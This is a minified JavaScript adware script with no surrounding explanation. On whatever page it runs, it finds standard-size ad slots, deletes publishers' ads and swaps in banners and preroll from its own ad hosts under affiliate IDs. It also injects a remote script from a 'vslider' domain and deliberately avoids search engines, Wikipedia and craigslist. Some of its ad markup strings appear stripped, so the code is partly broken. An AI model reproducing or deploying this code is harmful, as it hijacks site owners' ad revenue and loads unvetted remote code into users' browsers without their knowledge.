(function() { var jQuery; if (window.jQuery === undefined) { var s = document.createElement('script'); s.setAttribute('type', 'text/javascript'); s.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js'); if (s.readyState) { s.onreadystatechange = function () { if (this.readyState == 'complete' || this.readyState == 'loaded') { scriptLoadHandler(); } }; } else { s.onload = scriptLoadHandler; } (document.getElementsByTagName('head')[0] || document.documentElement).appendChild(s); } else { jQuery = window.jQuery; _AMIN(); } function scriptLoadHandler() { jQuery = window.jQuery.noConflict(true); _AMIN(); } function _AMIN() { jQuery(document).ready(function($) { var _AMIN = { begin: new Date(), proto: 'https:' == document.location.protocol ? 'https://' : 'http://', bannerHost: 'b.localpages.com/banners', prerollHost: 'lookmoms.com/preroll', bannerDomain: '', prerollDomain: 'lookmoms.com', vdisplay: 0, vdisplayEn: 0, vdisp: 0, vsliderEn: 1, bannerAdsEn: 1, usadservEx: 'Oj45JT84OT0iNQ', lrc_domain: 0, curatedSite: 0, placementID: '3810494', affiliate: '57573', subid: '', eid: '', vsEnId: 'Pz8sOCA,', pageUrl: window.location.href, pageReferrer: '', cleanUp: function () { var self = this; var cnt = 0; var e = $('iframe[replaced]').next().andSelf(); if(e.length > 0) { e.remove(); } else { if(cnt < 10000) { cnt += 500; setTimeout(function () { self.cleanUp(); }, 500); } } }, e: function (s) { var e = ''; l = s.length; for (var i = 0; i < l; i++) { e += s.charCodeAt(i).toString(16); } return e.split('').reverse().join(''); }, injVslider: function(msec) { if(document.location.href.indexOf('search.yahoo') == -1 && document.location.href.indexOf('bing.com') == -1 && document.location.href.indexOf('google.com') == -1) { var eid = this.eid; var vsEnId = this.vsEnId; var curatedSite = this.curatedSite; setTimeout(function(){ var v = document.createElement('script'); v.setAttribute('type', 'text/javascript'); var encId = ''; if(eid && eid != '') { encId = eid; } else if(vsEnId && vsEnId != '') { encId = vsEnId; } var vsOpenRef = ''; if(curatedSite == 1) vsOpenRef = '&openref=1'; v.setAttribute('src', '//vslider.perfectnavigator.com/?id='+encId+'&f=1'+vsOpenRef); (document.getElementsByTagName('head')[0] || document.documentElement).appendChild(v); }, msec); } }, init: function () { this.parseHTML(); this.cleanUp(); }, parseHTML: function () { var elements = $('div, iframe, img, ins, object, embed'); var i = elements.length; var cnt = 0; while (i--) { if(($(elements[i]).attr('src') && $(elements[i]).attr('src').indexOf('gbanner.php') == -1 && $(elements[i]).attr('src').indexOf('usadserver.com') == -1 && $(elements[i]).attr('src').indexOf('threadserver.com') == -1) || !$(elements[i]).attr('src')) { if(($(elements[i]).width() == '300' && $(elements[i]).height() == '250') || ($(elements[i]).width() == '160' && $(elements[i]).height() == '600') || ($(elements[i]).width() == '728' && $(elements[i]).height() == '90')) { this.render($(elements[i]), 'remove'); cnt++; } } } console.log(cnt+' in '+((new Date()) - this.begin)+'ms'); if(cnt == 0 && this.eid != '' && this.vdisp == 0) { this.injVslider(0); } else if((cnt > 0 || this.vdisp == 1) && this.eid != '') { this.injVslider(120000); } else if(this.vsliderEn == 1 && this.eid == '' && this.vdisplayEn == 1 && this.vdisp == 1) { this.injVslider(120000); } }, runLRJSBnr: function() { if(jQuery('#admInj12_LRC551_D_REP').length > 0) usad_player.init("admInj12_LRC551_D_REP"); else { var lrcInt = setInterval(function(){ if(jQuery('#admInj12_LRC551_D_REP').length > 0) { clearInterval(lrcInt); usad_player.init("admInj12_LRC551_D_REP"); } }, 300); } }, initLRJSBnr: function() { if (typeof usad_player != "undefined") { this.runLRJSBnr(); } else { var usadInt = setInterval(function(){ if(typeof usad_player != "undefined") { clearInterval(usadInt); if(jQuery('#admInj12_LRC551_D_REP').length > 0) usad_player.init("admInj12_LRC551_D_REP"); else { var lrcInt = setInterval(function(){ if(jQuery('#admInj12_LRC551_D_REP').length > 0) { clearInterval(lrcInt); usad_player.init("admInj12_LRC551_D_REP"); } }, 300); } } }, 300); } }, render: function(e, a) { var w = e.width(); var h = e.height(); var s = e; var id = e.attr('id') || ''; var cl = e.attr('class') || ''; var st = e.attr('style') || ''; var code = ''; var initUsAdObj = 0; if(id != '') { id = ' id="'+id+'"'; } if(cl != '') { cl = ' class="'+cl+'"'; } if(st != '') { st = ' style="'+st+'"'; } if(this.pageUrl.indexOf('wikipedia.org') != -1 || this.pageUrl.indexOf('craigslist') != -1 || this.pageUrl.indexOf('google.com') != -1) throw "No Injection"; if(w == 300 && h == 250 && this.vdisp == 0 && this.vdisplayEn == 1) { if(this.pageUrl.indexOf('youtube.com') != -1) subid += "&yt=1"; if(this.lrc_domain == 0) code = ''; else { initUsAdObj = 1; code = '
'; } this.vdisp = 1; } else if(this.bannerAdsEn == 1) { code = ''; code += '
'; } else if(this.bannerAdsEn == 0) return; switch(a) { case 'prepend': $(s).html(''); $(s).prepend(code); break; case 'append': $(s).html(''); $(s).append(code); break; case 'before': $(s).html(''); $(s).before(code); break; case 'after': $(s).html(''); $(s).after(code); break; case 'remove': $(s).before(code); $(s).remove(); break; } if(initUsAdObj == 1) this.initLRJSBnr(); } } _AMIN.init(); }); } })();